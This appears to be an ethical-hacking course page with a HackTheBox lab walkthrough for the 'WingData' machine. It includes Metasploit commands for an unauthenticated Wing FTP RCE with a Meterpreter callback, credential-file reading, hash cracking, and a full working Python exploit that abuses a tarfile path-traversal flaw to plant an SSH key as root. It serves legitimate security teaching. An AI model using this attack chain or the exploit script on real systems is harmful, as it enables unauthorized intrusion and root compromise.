Ethical Hacking

Objectives: By the end of this topic, you will be able to…

  • Execute a basic pentest with a clear methodology
  • Use Kali Linux tools in each phase of ethical hacking
  • Document findings professionally
  • Act within a legal and ethical framework

What is ethical hacking?

Ethical hacking is the practice of assessing the security of computer systems in a controlled, legal way with explicit consent from the owner. The goal is to identify vulnerabilities before malicious actors exploit them.

An ethical hacker (pentester) simulates real attacks to strengthen security. Unlike malicious hackers (black hats), ethical hackers (white hats) act responsibly and professionally within a legal and ethical framework.

AspectEthical HackingMalicious Hacking
IntentionProtect and improve securityObtain personal gain
LegalityWith authorizationWithout consent
DocumentationRequires technical reportAvoids leaving traces
Defined scopeYes, established by contractDoes not respect boundaries
ConsequencesSecurity improvementsReputational, financial, or legal damage

Phases of ethical hacking

1. Reconnaissance

Collect information about the target without directly interacting with it: websites, domains, DNS records, technologies in use, emails, employee names, leaks.

Common tools: whois, nslookup, theHarvester, Shodan, Maltego

2. Scanning and enumeration

Interact directly with the target to identify services, open ports, and attack vectors. Enumerate users, software versions, entry points.

Common tools: nmap, nikto, dirb, enum4linux

3. Exploitation

Leverage identified vulnerabilities to obtain unauthorized access. Demonstrates whether a finding is truly exploitable.

Common tools: sqlmap, msfconsole, exploit-db, custom scripts

4. Post-exploitation

Assess the impact once inside the system: privileges obtained, data accessible, possibility of persistent access.

Possible activities: dumping passwords, lateral movement, extracting tokens or keys.

5. Reporting

Document all activities: vulnerabilities found, severity, evidence (screenshots, logs, commands), mitigation recommendations. Reports should be clear, technical, and reproducible.


Before any pentest activity, a signed legal agreement must define:

  • Scope: which systems are authorized, allowed times, depth of testing
  • Limitations: what is not permitted (e.g., no DoS)
  • Legal liability: damage limits, protection for the tester
  • Confidentiality: nondisclosure agreement (NDA)

Never perform a penetration test without a formal contract or agreement.


Recognized pentesting methodologies

PTES (Penetration Testing Execution Standard)

Comprehensive framework covering: pre-engagement interactions, intelligence gathering, threat modeling, vulnerability analysis, exploitation, post-exploitation, and reporting.

OSSTMM (Open Source Security Testing Methodology Manual)

Broad, scientific approach covering human, physical, electronic, and process aspects. Defines zones of interaction and quantitative metrics.


Hands-on lab

Requirements: Kali Linux with HackTheBox VPN, machine “WingData”

Safety and ethics

Only attack machines you have explicit permission to test. Record every step you take so your work is reproducible and can be graded. Use disposable VMs or containers to isolate your activity and avoid damaging your host system.

Part 0: Connect to HTB via OpenVPN

sudo openvpn --config ~/Downloads/HTB-yourvpn.ovpn

Verify with ip a (check for tun0 interface) and ping <target-ip>.

? Why does HTB require you to connect via VPN before accessing any machine? What network boundaries does the tunnel create, and why would it be dangerous to expose a lab machine directly to the internet?

Part 1: Reconnaissance with nmap

Run a basic scan followed by an aggressive one to gather version information:

nmap -sC -sV <target-ip>
nmap -A <target-ip>

The results show SSH on port 22 (OpenSSH 9.2p1) and HTTP on port 80 (Apache 2.4.66). The web server redirects to wingdata.htb, revealing the target’s hostname via virtual host configuration.

? What does the redirect to wingdata.htb tell you about how the web server is configured? Why does the site fail to load if you access it by IP address directly?

Part 2: Hostname resolution

sudo nano /etc/hosts
# add: <target-ip>    wingdata.htb

Browse to http://wingdata.htb and explore the application. It presents a file-sharing and encryption platform (“Wing Data Solutions”) with a Client Portal. Inspect the page source and links for any references to additional hostnames or subdomains.

? What information can you collect from the landing page alone, without running any active scanning tool? List at least three pieces of data visible to an unauthenticated visitor and explain how each could help an attacker plan the next step.

Part 3: Subdomain discovery

If you find a subdomain reference in the application, note it down. If not, brute-force virtual hostnames with ffuf. SecLists is no longer bundled with Kali by default, so clone it first:

git clone --depth 1 https://github.com/danielmiessler/SecLists.git ~/SecLists

Then run:

ffuf -u http://<target-ip> -H "Host: FUZZ.wingdata.htb" \
     -w ~/SecLists/Discovery/DNS/subdomains-top1million-5000.txt \
     -fc 301

The -fc 301 flag filters out the default redirect response so only real hits are shown. Either way, you should identify ftp.wingdata.htb.

Add both hostnames to your hosts file:

sudo nano /etc/hosts
# update line to: <target-ip>    wingdata.htb ftp.wingdata.htb

Browse to http://ftp.wingdata.htb. The login page footer identifies the service as Wing FTP Server v7.4.3.

? Why is subdomain enumeration a critical reconnaissance step? What new attack surface did discovering ftp.wingdata.htb reveal compared to the initial nmap scan?

? The footer of the Wing FTP login page discloses the exact software version. Why is version disclosure a security risk? What configuration change would remove it, and how does its presence accelerate this attack?

Part 4: Identify and exploit Wing FTP RCE (CVE-2025-47812)

  1. Search for known exploits against this version:
searchsploit wing ftp

The results show exploit 52347 — an unauthenticated RCE for Wing FTP Server 7.4.3.

  1. Launch Metasploit and load the module:
msfconsole
search wingftp
use exploit/multi/http/wingftp_null_byte_rce
  1. Configure the exploit options:
set RHOSTS <target-ip>
set VHOST ftp.wingdata.htb
set LHOST <your-tun0-ip>
run

A Meterpreter session opens, providing unauthenticated access via a NULL-byte authentication bypass.

? What is a NULL-byte injection vulnerability? Why does inserting a null byte cause some authentication mechanisms to fail, and at which layer of the stack (application, library, OS) does the confusion typically occur?

? At which phase of the ethical hacking methodology does obtaining a Meterpreter session occur? How does a Meterpreter session differ from a raw reverse shell in terms of post-exploitation capabilities?

Part 5: Post-exploitation — finding credentials

  1. Spawn a full TTY shell and enumerate users:
shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
cat /etc/passwd

Note the service account wingftp and the standard user wacky (UID 1001).

  1. Search for Wing FTP user configuration files:
find /opt/wftpserver/ -name "*.xml" 2>/dev/null
cat /opt/wftpserver/Data/1/users/wacky.xml

The file contains a <Password> tag with a 64-character SHA-256 hash.

  1. Download the file to your local machine for offline analysis. Exit the shell back to the Meterpreter prompt first, then use the built-in download command:
exit
download /opt/wftpserver/Data/1/users/wacky.xml .

? Why is storing password hashes in application XML configuration files a security risk? What is the secure alternative for managing service account credentials in a production environment?

Part 6: Crack the hash

  1. Save the hash to a file, appending the salt WingFTP separated by a colon (format required by hashcat mode 1410: hash:salt):
echo "<hash-from-wacky.xml>:WingFTP" > hashes.txt
  1. Identify the hash type:
hash-identifier
  1. Crack with Hashcat using the rockyou wordlist:
hashcat -m 1410 hashes.txt /usr/share/wordlists/rockyou.txt

Recover the plaintext password for user wacky.

? The password was found in rockyou.txt, one of the most common wordlists. What does this tell you about the password’s strength? What password policy (length, character set, rotation) would have made this offline attack impractical?

Part 7: SSH access and user flag

ssh wacky@<target-ip>
cat ~/user.txt

Part 8: Privilege escalation via TarSlip (CVE-2025-4138)

  1. Check sudo permissions:
sudo -l

User wacky can run /opt/backup_clients/restore_backup_clients.py as root with NOPASSWD.

  1. Read the script and identify the vulnerability:
cat /opt/backup_clients/restore_backup_clients.py

The script calls tarfile.extractall() without validating archive contents, making it susceptible to a path traversal (TarSlip) attack.

? Identify the specific line in the script that introduces the vulnerability. How should tarfile.extractall() be called to extract safely? What built-in Python mechanism exists since Python 3.12 to prevent this class of attack?

  1. Generate an SSH key pair on the target:
ssh-keygen -t ed25519 -f ~/wingdata_key -N ""
  1. Create a malicious tar archive that plants the public key into /root/.ssh/authorized_keys:

Save the following script as cve_2025_4138.py. It exploits CVE-2025-4138, a Python tarfile filter bypass that allows a crafted archive to write files outside the extraction directory by exceeding the OS PATH_MAX limit through a chain of symlinks.

#!/usr/bin/env python3
"""
CVE-2025-4138 / CVE-2025-4517 — Python tarfile PATH_MAX Filter Bypass
 
The vulnerability: Python's tarfile.extractall() filter checks whether a
path escapes the destination directory, but this check can be defeated by
building a chain of symlinks whose total resolved length exceeds PATH_MAX
(4096 bytes on Linux). Once the kernel can no longer resolve the full path,
the filter's boundary check fails open and the final write lands wherever
the symlink chain points — in this case, /root/.ssh/authorized_keys.
"""
 
import tarfile
import io
import os
import argparse
 
# A directory component of 247 chars. Repeated across 16 levels this
# produces a resolved path well above PATH_MAX, which is ~4096 bytes.
DIR_COMP_LEN = 247
CHAIN_STEPS = "abcdefghijklmnop"   # 16 symlink levels
LONG_LINK_LEN = 254                # length of the pivot symlink name
 
 
def build_exploit_tar(tar_path, target_file, payload, file_mode=0o644):
    comp = "d" * DIR_COMP_LEN   # the long directory name reused at every level
    inner_path = ""
 
    with tarfile.open(tar_path, "w") as tar:
 
        # --- Stage 1: build a chain of 16 (long-dir / short-symlink) pairs ---
        # Each iteration creates:
        #   <inner_path>/<comp>/   — a real directory with a 247-char name
        #   <inner_path>/<letter>  — a short symlink pointing to that directory
        # Walking the short letters a→p therefore resolves to a path that is
        # 16 × 247 = 3952 chars deep, approaching PATH_MAX.
        for step_char in CHAIN_STEPS:
            d = tarfile.TarInfo(name=os.path.join(inner_path, comp))
            d.type = tarfile.DIRTYPE
            tar.addfile(d)
 
            s = tarfile.TarInfo(name=os.path.join(inner_path, step_char))
            s.type = tarfile.SYMTYPE
            s.linkname = comp       # short name → long directory
            tar.addfile(s)
 
            inner_path = os.path.join(inner_path, comp)
 
        # --- Stage 2: pivot symlink — exceed PATH_MAX ---
        # The name "a/b/c/.../p/<254 chars>" is itself very long. Its target
        # is 16 levels of "../", which unwinds the entire chain back to the
        # extraction root. At this depth the filter's path-length check
        # overflows and stops enforcing the boundary.
        short_chain = "/".join(CHAIN_STEPS)                       # a/b/.../p
        link_name = os.path.join(short_chain, "l" * LONG_LINK_LEN)
 
        pivot = tarfile.TarInfo(name=link_name)
        pivot.type = tarfile.SYMTYPE
        pivot.linkname = "../" * len(CHAIN_STEPS)   # climb back to root
        tar.addfile(pivot)
 
        # --- Stage 3: escape symlink — point outside the extraction dir ---
        # "escape" resolves through the pivot (now at the filesystem root)
        # and then descends into the target file's parent directory.
        # The 8 extra "../" hops absorb any remaining prefix from the
        # extraction staging directory.
        target_dir = os.path.dirname(target_file)
        target_basename = os.path.basename(target_file)
        depth = 8
        escape_linkname = (
            link_name + "/" + ("../" * depth) + target_dir.lstrip("/")
        )
 
        esc = tarfile.TarInfo(name="escape")
        esc.type = tarfile.SYMTYPE
        esc.linkname = escape_linkname
        tar.addfile(esc)
 
        # --- Stage 4: write the payload ---
        # "escape/<basename>" follows the escape symlink and lands at
        # <target_file> on the real filesystem. uid/gid 0 ensure the
        # written file is owned by root when extracted under sudo.
        payload_entry = tarfile.TarInfo(name=f"escape/{target_basename}")
        payload_entry.type = tarfile.REGTYPE
        payload_entry.size = len(payload)
        payload_entry.mode = file_mode
        payload_entry.uid = 0
        payload_entry.gid = 0
        tar.addfile(payload_entry, fileobj=io.BytesIO(payload))
 
    print(f"[+] Exploit tar: {tar_path}")
    print(f"[+] Target:      {target_file}")
    print(f"[+] Payload size: {len(payload)} bytes")
 
 
def main():
    parser = argparse.ArgumentParser(description="CVE-2025-4138 Exploit")
    parser.add_argument("--tar-out", "-o", required=True,
                        help="Output path for the malicious .tar file")
    parser.add_argument("--preset", "-p", choices=["ssh-key"],
                        help="Preset target (ssh-key → /root/.ssh/authorized_keys)")
    parser.add_argument("--payload", "-P", required=True,
                        help="Path to the payload file (e.g. your public key)")
    args = parser.parse_args()
 
    if args.preset == "ssh-key":
        target_file = "/root/.ssh/authorized_keys"
        file_mode = 0o600
        with open(os.path.expanduser(args.payload), "rb") as f:
            payload = f.read()
        if not payload.endswith(b"\n"):
            payload += b"\n"
 
    build_exploit_tar(args.tar_out, target_file, payload, file_mode)
 
 
if __name__ == "__main__":
    main()

Run the script to build the malicious archive:

python3 cve_2025_4138.py --tar-out backup_888.tar --preset ssh-key --payload ~/wingdata_key.pub
  1. Move the archive to the backup directory and trigger the restoration:
mv backup_888.tar /opt/backup_clients/backups/
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_888.tar -r restore_win123
  1. SSH as root using the implanted key:
ssh -i ~/wingdata_key root@127.0.0.1
cat /root/root.txt

? What made restore_backup_clients.py a viable privilege escalation vector? What general principle do NOPASSWD sudo entries violate, and how should sudo privileges be audited on a production system?

? Trace the full attack chain from initial access to root, naming the vulnerability exploited at each step and the phase of the ethical hacking methodology it belongs to. For each vulnerability, write one sentence describing how the system owner could have prevented it.

Cleanup

rm -f ~/wingdata_key ~/wingdata_key.pub

Submission

ZIP file containing:

  • PDF report (executive summary, methodology, prioritized findings, remediation guidance)
  • Raw commands transcript
  • Screenshots directory (named by step)
  • PoC directory with payloads and scripts used
  • One paragraph per vulnerability explaining why the exploit worked and one mitigation

Key concepts

TermDefinition
Hacking eticoAuthorized security assessment simulating real attacks
PentestingPenetration testing with a structured methodology
MetasploitExploitation framework for security assessments
NmapPort scanning and service discovery tool
Reverse shellConnection initiated from the compromised system to the attacker
PTESStandard that defines the phases of a professional pentest

Navigation:Previous | Home | Next